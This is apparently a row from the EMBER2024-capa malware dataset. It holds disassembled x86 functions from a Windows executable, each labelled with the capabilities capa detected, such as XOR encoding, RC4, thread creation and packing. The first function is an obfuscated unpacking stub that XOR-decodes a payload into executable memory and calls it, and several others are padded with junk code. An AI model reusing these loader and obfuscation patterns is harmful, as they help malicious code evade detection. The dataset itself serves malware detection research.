joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d190
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40d19f
pop dword [ebp - 0x20]
mov eax, 0x896836d6
sub eax, 0x89276537
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xb3d53033
add dword [ebp - 0x30], 0x9a7d1518
mov dword [ebp - 0x2c], 0x9d757c40
add dword [ebp - 0x2c], 0x94bdd005
mov dword [ebp - 0x28], 0xccfd20b
sub dword [ebp - 0x28], 0xc0838ddd
mov dword [ebp - 0x24], 0xd631033d
add dword [ebp - 0x24], 0x29cefcc3
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x74a9be11
add dword [ebp - 0x30], 0xffc8ab45
mov dword [ebp - 0x2c], 0xefc46fc
add dword [ebp - 0x2c], 0x32701a79
mov dword [ebp - 0x28], 0xdd61b497
sub dword [ebp - 0x28], 0x79f2482b
mov dword [ebp - 0x24], 0x9dc29ef2
sub dword [ebp - 0x24], 0x9dc29ef2
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x35eb5
push 0
call eax
mov ecx, 0x3581
xor edi, edi
add edi, eax
mov edx, 0x41a000
add edx, dword [ebp - 0x20]
mov esi, 0x14cfcd3a
add dword [ebp - 0x14], edx
mov ebx, dword [edx]
add dword [ebp - 0x10], esi
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 0x1c], 0x87e3edb7
add edi, 0xea79fb
sub edi, 0xea79f7
add edx, 4
loop 0x40d2a7
add eax, 0xc6b149e4
add eax, 0x394f7ef3
xor ebx, ebx
add ebx, eax
add eax, 0xb0dd4447
sub eax, 0xb0dd4442
mov ecx, 0x820d4a4b
add ecx, 0x7e32b5b5
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x410280
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41029c
mov dword [eax], ecx
jmp 0x41029e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410310
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x5133e0
Capabilities:
Check http status code

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x118
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp - 0x43]
and ebx, 4
shl ebx, 0x15
or ebx, 0x8404c700
push eax
push 0x53c724
call fcn.005239e0
add esp, 8
lea esi, [ebp - 0x30]
push esi
pop ecx
push eax
call fcn.0053b1a0
push esi
pop ecx
call fcn.0053ac60
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0
push 0xbeb9491
push 0x13
call fcn.00523b90
add esp, 8
push eax
pop esi
lea eax, [ebp - 0x57]
push eax
push 0x53c728
call fcn.005239e0
add esp, 8
push eax
pop edi
mov eax, dword [ebp + 0x1c]
mov ecx, 0x53c735
test al, 1
mov eax, 0x53c731
cmove ecx, eax
lea eax, [ebp - 0x122]
push eax
push ecx
call fcn.005239e0
add esp, 8
lea ecx, [ebp - 0x24]
push 0
push ebx
push ecx
push dword [ebp + 0x10]
push edi
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call esi
xor esi, esi
test eax, eax
je 0x5135a2
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
test al, 4
je 0x5134f8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 4
push 0x85dc001
push 0x13
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x14]
lea esi, [ebp - 0x10]
push ecx
push esi
push 0x1f
mov edi, dword [ebp - 0x18]
push edi
call eax
test eax, eax
je 0x5134f2
or dword [ebp - 0x10], 0x13380
call fcn.005274f0
push eax
pop ebx
call fcn.00535570
push eax
push ebx
call fcn.00523b90
add esp, 8
push 4
push esi
push 0x1f
push edi
call eax
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x18]
push 0xb157a91
push 0x13
call fcn.00523b90
add esp, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x78]
push eax
push 0x53c740
call fcn.005239e0
add esp, 8
mov esi, eax
call fcn.005274f0
push ebx
push edi
push eax
push esi
mov edi, dword [ebp - 0x18]
push edi
call dword [ebp - 0x1c]
test eax, eax
je 0x513587
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 4
call fcn.005274f0
mov esi, eax
call fcn.00535b50
push eax
push esi
call fcn.00523b90
add esp, 8
push eax
pop esi
call fcn.00536970
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x10]
push 0
push ecx
push edx
push eax
push edi
call esi
or eax, eax
setne al
cmp dword [ebp - 0x10], 0xc8
mov edx, eax
sete cl
xor dl, cl
jne 0x513587
or al, cl
je 0x513587
push edi
pop esi
jmp 0x5135a2
call fcn.005274f0
mov esi, eax
call fcn.00536560
push eax
push esi
call fcn.00523b90
add esp, 8
push edi
call eax
sub esi, esi
lea ecx, [ebp - 0x30]
call fcn.0053b260
mov eax, esi
add esp, 0x118
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x519780
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword [ebp + 8]
pushfd
xor edi, edi
inc edi
popfd
mov dword [0x5405d8], 1
mov dword [0x53fc18], esi
nop
push eax
pop eax
call fcn.00532470
mov edx, esi
mov ecx, eax
shr edx, cl
xor edx, esi
imul esi, edx, 0x6c078965
add esi, edi
mov dword [edi*4 + 0x53fc18], esi
inc edi
push 0x270
push edi
call fcn.00539ab0
add esp, 8
test al, 1
je 0x5197a0
mov dword [0x5405d8], 0x270
pop esi
pop edi
pop ebp
ret

Function at 0x5198d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
xor edi, edi
jmp 0x5198de
nop
nop
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x10]
and edi, 1
shr ebx, 1
neg edi
call fcn.00535060
mov esi, eax
and esi, edi
xor esi, ebx
mov ebx, esi
shr esi, 1
and ebx, 1
neg ebx
call fcn.00535060
push eax
pop edi
and edi, ebx
xor edi, esi
mov ebx, edi
shr edi, 1
and ebx, 1
neg ebx
call fcn.00535060
push eax
pop esi
and esi, ebx
xor esi, edi
push esi
pop ebx
shr esi, 1
and ebx, 1
neg ebx
call fcn.00535060
mov edi, eax
and edi, ebx
xor edi, esi
mov ebx, edi
shr edi, 1
and ebx, 1
neg ebx
call fcn.00535060
mov esi, eax
and esi, ebx
xor esi, edi
mov ebx, esi
shr esi, 1
and ebx, 1
neg ebx
call fcn.00535060
push eax
pop edi
and edi, ebx
xor edi, esi
mov ebx, edi
shr edi, 1
and ebx, 1
neg ebx
call fcn.00535060
push eax
pop esi
and esi, ebx
xor esi, edi
mov edi, esi
shr esi, 1
and edi, 1
neg edi
call fcn.00535060
and eax, edi
mov edi, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 1
mov dword [esp], 0
xor eax, esi
mov dword [edi*4 + 0x5405e0], eax
call fcn.0052ee30
sub edi, eax
call fcn.00534db0
cmp edi, eax
jne 0x5198e0
mov dword [0x5405dc], 0
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x51a4c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x20
cmp dword [ebp + 0xc], 0
je 0x51a58a
mov ebx, dword [ebp + 8]
xor esi, esi
push esi
pop esi
nop
nop
nop
jmp 0x51a4e0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], esi
call fcn.0053bbf0
pushfd
xor esi, esi
inc esi
popfd
lea edi, [ebp - 0xd]
push ecx
pop ecx
nop
jmp 0x51a4f9
pushal
popal
nop
nop
jmp 0x51a500
push ebx
pop eax
mov ecx, 0x51eb851f
mul ecx
push ebx
pop ecx
shr edx, 3
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
sub ecx, eax
add cl, 0x61
mov byte [ebp - 0xd], cl
lea ecx, [ebp - 0x20]
push edi
call fcn.0053b9d0
movsx eax, byte [ebp - 0xd]
add ebx, eax
xor ebx, dword [ebp + 8]
call fcn.00531320
push 0
push eax
push esi
call fcn.00525d60
add esp, 0xc
inc esi
test al, 1
je 0x51a500
lea eax, [ebp - 0x2a]
push eax
push 0x53c796
call fcn.005239e0
add esp, 8
lea esi, [ebp - 0x20]
push esi
pop ecx
push eax
call fcn.0053b9e0
mov ecx, dword [ebp + 0x10]
push esi
call fcn.0053afa0
mov ecx, esi
call fcn.0053b260
mov esi, dword [ebp - 0x14]
inc esi
push 0
push dword [ebp + 0xc]
push esi
call fcn.00525d60
add esp, 0xc
test al, 1
je 0x51a4e0
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x51cc40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, edx
mov dword [ebp - 0x14], ecx
nop
push 3
nop
pop ecx
mov edi, edx
mov ebx, 0xffffffff
and eax, 7
cmp eax, 3
cmova ecx, eax
mov dword [ebp - 0x10], ecx
nop
nop
nop
nop
nop
jmp 0x51cc6e
push edx
pop edx
push edi
pop eax
mov ecx, 0x4ec4ec4f
mov dword [ebp - 0x20], ebx
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
lea esi, [eax + eax*4]
add esi, edx
call fcn.0052d740
neg esi
lea ecx, [edi + esi - 0x3dd7]
push 0
push 0
push eax
push ecx
call fcn.0052c9b0
add esp, 0x10
mov ecx, dword [ebp - 0x14]
add eax, 0x3dd7
mov word [ecx + ebx*2 + 2], ax
call fcn.00534640
push edi
pop esi
push eax
pop ecx
shr edi, 0x18
shl esi, cl
mov eax, edi
mov ebx, esi
not eax
not ebx
mov dword [ebp - 0x18], eax
and ebx, 0xeb1a733d
push 0x14e58cc2
push esi
call fcn.005278d0
add esp, 8
mov dword [ebp - 0x1c], eax
push 0xeb1a733d
push dword [ebp - 0x18]
call fcn.005278d0
add esp, 8
mov ecx, dword [ebp - 0x1c]
and esi, edi
and edi, 0xffffffc2
or edi, eax
or ecx, ebx
mov ebx, dword [ebp - 0x20]
xor edi, ecx
or edi, esi
inc edi
inc ebx
cmp ebx, dword [ebp - 0x10]
jb 0x51cc70
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov word [eax + ecx*2 + 2], 0
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x521040
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov ah, byte [esi + 0x101]
mov al, byte [esi + 0x100]
or edx, edx
mov byte [ebp - 0xd], ah
je 0x521107
mov ebx, dword [ebp + 8]
jmp 0x52106c
jmp 0x52106f
nop
inc al
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], edx
movzx edi, al
mov byte [ebp - 0xe], al
movzx ebx, byte [esi + edi]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa1
call fcn.0052d070
add esp, 0x14
add al, byte [ebp - 0xd]
movzx eax, al
push 0
push 0xa1
push eax
call fcn.0052ed80
add esp, 0xc
mov byte [ebp - 0xd], al
movzx eax, al
movzx ecx, byte [esi + eax]
mov byte [esi + edi], cl
mov byte [esi + eax], bl
movzx edi, byte [esi + edi]
add edi, ebx
mov ebx, dword [ebp - 0x14]
push 0
push 0xffffffffffffffff
push 0x2ee1a9cd
call fcn.005274a0
mov edx, dword [ebp - 0x18]
add esp, 0xc
or eax, 0xcd
and eax, edi
movzx eax, al
movzx eax, byte [esi + eax]
xor byte [ebx], al
inc ebx
dec edx
movzx eax, byte [ebp - 0xe]
jne 0x521070
mov cl, byte [ebp - 0xd]
mov byte [esi + 0x100], al
mov byte [esi + 0x101], cl
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x5212c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push 0xc6d154
push 0
call fcn.00523b90
add esp, 8
call eax
cmp eax, dword [0x5405dc]
je 0x5212ea
mov dword [0x5405dc], eax
push eax
call fcn.00519780
add esp, 4
pop ebp
jmp fcn.00514be0
Function at 0x522550
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, dword [ebp + 8]
push esi
call fcn.00522de0
add esp, 4
or eax, eax
mov dword [ebp - 0x1c], eax
js 0x522689
push esi
pop ecx
xor esi, esi
xor edi, edi
pushal
popal
nop
push esi
pop esi
push ecx
pop ecx
nop
nop
nop
movzx ebx, word [ecx + esi*2]
call fcn.005349a0
mov edx, dword [ebp + 8]
cmp bx, ax
jne case.0x5225ac.1
movzx eax, word [edx + esi*2 + 2]
lea ecx, [eax - 0x22]
cmp cx, 0x56
ja case.0x5225ac.1
movzx ecx, cx
lea ebx, [esi + 1]
mov dword [ebp - 0x10], 0
jmp dword [ecx*4 + 0x53c034]
jmp 0x5225c6
movzx eax, word [edx + esi*2]
mov ebx, esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov word [edx + edi*2], ax
neg edi
push 0xffffffffffffffff
push edi
call fcn.00527710
mov ecx, dword [ebp + 8]
add esp, 8
push eax
pop edi
lea esi, [ebx + 1]
neg edi
cmp ebx, dword [ebp - 0x1c]
jl 0x522580
jmp 0x522689
mov ax, 7
jmp 0x5225c6
mov ax, 8
jmp 0x5225c6
mov ax, 0xc
jmp 0x5225c6
mov ax, 0xa
jmp 0x5225c6
mov ax, 0xd
jmp 0x5225c6
mov ax, 9
jmp 0x5225c6
mov ax, 0xb
jmp 0x5225c6
movzx eax, word [edx + esi*2 + 4]
movzx ecx, word [edx + esi*2 + 6]
mov esi, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
add esi, 0xffffffd0
call fcn.0052f6d0
cmp si, ax
jb 0x522652
mov eax, dword [ebp - 0x10]
add eax, 0xffffff9f
cmp ax, 6
jb 0x522652
mov eax, dword [ebp - 0x10]
add eax, 0xffffffbf
cmp ax, 5
ja 0x522681
mov esi, dword [ebp - 0x18]
lea eax, [esi - 0x30]
mov dword [ebp - 0x14], eax
call fcn.0052f6d0
cmp word [ebp - 0x14], ax
mov edx, dword [ebp + 8]
jb 0x522689
lea eax, [esi - 0x41]
cmp ax, 6
jb 0x522689
add esi, 0xffffff9f
cmp si, 6
jae case.0x5225ac.14
jmp 0x522689
mov edx, dword [ebp + 8]
jmp case.0x5225ac.14
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x524610
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x9c
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea eax, [ebp - 0x5e]
push eax
push 0x46
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00524a50
push eax
pop edi
add edi, esi
call fcn.00525220
imul eax, esi
cwde
mov dword [ebp - 0x10], eax
add edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
imul eax, esi
push eax
pop esi
imul esi, eax
or esi, 8
push esi
pop ecx
xor ecx, eax
or edx, ecx
mov dword [ebp - 0x18], edx
sub esp, 4
push eax
push ecx
call fcn.005254a0
add esp, 0xc
mov ebx, eax
mov dword [ebp - 0x14], eax
shl ebx, 0xb
lea eax, [ebp - 0xa7]
push eax
push 0x49
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push edi
push ebx
call fcn.00524540
add esp, 0x10
mov ebx, eax
shl ebx, 4
push ebx
pop eax
add al, 0x40
mov byte [ebp - 0x10], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
cmp eax, esi
je 0x5246cf
mov edx, dword [ebp - 0x14]
cmp edx, esi
jne 0x5246cf
movsx eax, byte [ebp - 0x10]
cmp edx, eax
jne 0x5246cf
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
pop ecx
imul ecx, ebx
add ecx, esi
mov al, byte [ebp - 0x10]
mul cl
movsx eax, al
add esp, 0x9c
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x524770
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0xec
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
call fcn.00526090
lea eax, [ebp - 0x55]
push eax
push 0x41
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
and eax, 0x40
add eax, dword [ebp + 0x10]
sub esp, 4
push eax
call fcn.00524610
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and eax, ebx
mov dword [ebp - 0x10], eax
movsx edi, ax
push esi
pop ecx
mov eax, esi
imul eax, edi
movsx esi, ax
imul esi, ecx
lea eax, [esi + 0xfff8]
xor eax, ebx
mov dword [ebp - 0x14], eax
call fcn.00528be0
push eax
pop ebx
sub ebx, esi
xor edi, ebx
mov esi, dword [ebp + 0x10]
and edi, esi
sub esp, 4
push edi
call fcn.0052a120
add esp, 8
cmp dword [ebp + 0x14], esi
jne 0x5247f1
cmp ebx, dword [ebp + 8]
jne 0x524817
add eax, dword [ebp + 8]
push eax
pop edi
lea eax, [ebp - 0xf6]
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push 0x5f
call esi
sub eax, edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x97]
push eax
push 0x42
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call esi
mov ebx, eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
or edx, ebx
movsx ecx, word [ebp - 0x14]
cmp ecx, dword [ebp + 8]
je 0x524840
movsx esi, word [ebp - 0x10]
cmp edi, esi
jne 0x524840
jmp 0x524848
movsx esi, dl
imul esi, ebx
and edi, esi
movsx edx, dl
mov ebx, dword [ebp - 0x14]
cmp dx, bx
push ebx
pop edx
je 0x524862
cmp esi, ecx
jl 0x524862
add edi, eax
xor edi, ecx
or edi, dword [ebp + 0x10]
mov edx, edi
movsx eax, dx
add esp, 0xec
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x524c70
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0xc0
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov edi, eax
push eax
pop ebx
and edi, 4
or edi, 8
lea eax, [ebp - 0xc9]
push eax
push 0x55
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push dword [0x53e77c]
push dword [0x53e5c4]
push eax
push edi
call fcn.00527040
add esp, 0x10
add eax, ebx
push eax
pop ebx
imul ebx, esi
and esi, ebx
add ebx, eax
add ebx, esi
xor ebx, dword [ebp + 0xc]
or ebx, 0x80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
sub edi, dword [ebp + 0x14]
add edi, ebx
or edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
shl edi, 0x10
add edi, 0xfc000000
sar edi, 0x10
push esi
push edi
call fcn.005285b0
add esp, 8
lea eax, [ebp - 0x74]
push eax
push 0x54
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [esp + 4], eax
call fcn.00528f40
add esp, 8
push eax
pop esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov ebx, dword [ebp + 0x14]
add edi, ebx
imul edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
sub esi, ebx
lea ebx, [esi + eax]
movsx ecx, bl
mov dword [ebp - 0x18], ecx
sub esp, 0x10
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp], esi
call fcn.00524770
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
cmp bl, cl
mov edx, dword [ebp + 0x14]
sets byte [ebp - 0x14]
cmp esi, edx
sete byte [ebp - 0xd]
mov ebx, dword [ebp - 0x18]
cmp ebx, edx
setg dh
or dh, byte [ebp - 0x14]
or dh, byte [ebp - 0xd]
and eax, ecx
push ebx
pop ecx
xor ecx, eax
test dh, dh
push edi
pop edx
jne 0x524d98
mov esi, eax
push ecx
pop edx
add esi, ecx
mov eax, dword [ebp - 0x20]
cmp ebx, eax
jg 0x524dba
or edi, eax
cmp edx, edi
je 0x524dba
add esi, 0x100
imul eax, dword [ebp + 0x14]
imul eax, esi
shl al, 6
movsx esi, al
mov eax, esi
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x524fe0
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0x10]
push eax
pop esi
xor esi, 0x10000
push esi
pop ecx
imul ecx, dword [ebp + 0xc]
sub ecx, eax
mov dword [ebp - 0x14], ecx
movsx edi, cl
push edi
pop ebx
sub ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
pop edx
mov ecx, dword [ebp + 0x14]
push eax
pop edi
xor edi, esi
push edi
pop esi
xor esi, edx
mov dword [ebp - 0x10], ebx
cmp ebx, ecx
jne 0x52505d
cmp edi, ecx
jg 0x52505d
cmp esi, ecx
mov ebx, dword [ebp - 0x14]
je 0x525047
mov edi, esi
or edi, dword [ebp - 0x10]
mov eax, edi
and eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov esi, edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
pop edx
mov ecx, dword [ebp + 0x14]
push eax
pop esi
cmp esi, edx
je 0x525064
cmp edi, ecx
jne 0x525064
mov eax, dword [ebp + 0xc]
cmp edx, eax
jg 0x5250b2
cmp dword [ebp - 0x10], eax
jge 0x525064
jmp 0x52507a
mov ebx, dword [ebp - 0x14]
cmp esi, edx
jne 0x52504b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
or ebx, dword [ebp - 0x10]
movsx esi, bl
add esi, dword [ebp + 0xc]
mov edi, esi
sub edi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x5f]
push eax
push 0x4b
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
movsx eax, bl
mov ecx, dword [ebp + 0xc]
cmp eax, ecx
je 0x5250aa
add esi, edi
cmp esi, ecx
je 0x5250aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, dword [ebp - 0x10]
add eax, esi
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x52507a
Function at 0x525110
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
push esi
pop eax
imul eax, ebx
push dword [0x53e4a8]
push esi
push eax
call fcn.0053a240
add esp, 0xc
mov ecx, edi
imul ecx, eax
imul ecx, eax
push ecx
pop eax
xor eax, ebx
push dword [0x53e604]
push eax
push ecx
call fcn.0053a450
add esp, 0xc
mov ecx, dword [0x53e838]
sub esp, 0x10
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
add eax, esi
mov dword [esp], eax
call fcn.00525ef0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea eax, [ebp - 0x65]
push eax
push 0x59
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
pop esi
lea edi, [eax + ebx - 0x40]
add esi, 0xffffffc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [0x53e7e0]
push esi
push edi
push ebx
pop edi
push eax
call fcn.00539f40
add esp, 0x10
imul eax, ebx
push eax
pop edx
and edx, 0x200
add eax, edx
cmp edx, dword [ebp + 0x14]
je 0x5251bc
cmp eax, dword [ebp + 0x10]
jne 0x5251ca
mov esi, eax
imul esi, dword [ebp + 0x14]
lea ecx, [esi + edi]
imul esi, ecx
add ecx, esi
cmp edx, dword [ebp + 0x14]
je 0x52520f
mov ebx, dword [ebp + 0x10]
cmp ebx, 0x21cbb7d0
jne 0x525218
cmp edx, ebx
je 0x525218
xor ecx, eax
mov eax, ecx
add ecx, ebx
or ecx, edx
cmp ebx, edi
je 0x525207
cmp esi, dword [ebp + 0x14]
jne 0x525207
cmp edi, 0x32831202
jne 0x525207
cmp ecx, edi
je 0x525207
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetVersion]
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret
mov ebx, dword [ebp + 0x10]
cmp ebx, edi
jne 0x5251ea
jmp 0x525207
cmp ebx, edi
jne 0x5251ea
jmp 0x525207

Function at 0x525220
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x90
mov bl, byte [0x53e3e0]
add bl, 0x10
mov bh, bl
xor bh, 2
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call edi
push eax
pop ecx
sub cl, bl
movsx edx, cl
add eax, edx
movsx ecx, bh
push eax
push eax
pop esi
push ecx
push edx
call fcn.005288a0
add esp, 0xc
lea eax, [ebp - 0x9a]
push eax
push 0x4a
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 0xc
mov dword [esp + 4], esi
call fcn.005292a0
add esp, 0xc
mov esi, eax
call edi
push esi
call fcn.00525960
add esp, 4
push eax
pop esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
sub esp, 4
call fcn.00528090
add esp, 4
cmp dword [0x53e43c], 0x88652564
jne 0x5252d3
lea edx, [ebx + esi]
mov edi, edx
and edi, esi
add ebx, edi
movsx ecx, bl
imul ecx, esi
cmp edi, ecx
jg 0x5252d3
cmp edx, edi
je 0x5252d3
movsx eax, al
cmp eax, esi
jne 0x5252d3
lea eax, [ebp - 0x50]
push eax
push 0x44
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
pop ecx
push ecx
pop eax
add esp, 0x90
pop esi
pop edi
pop ebx
pop ebp
ret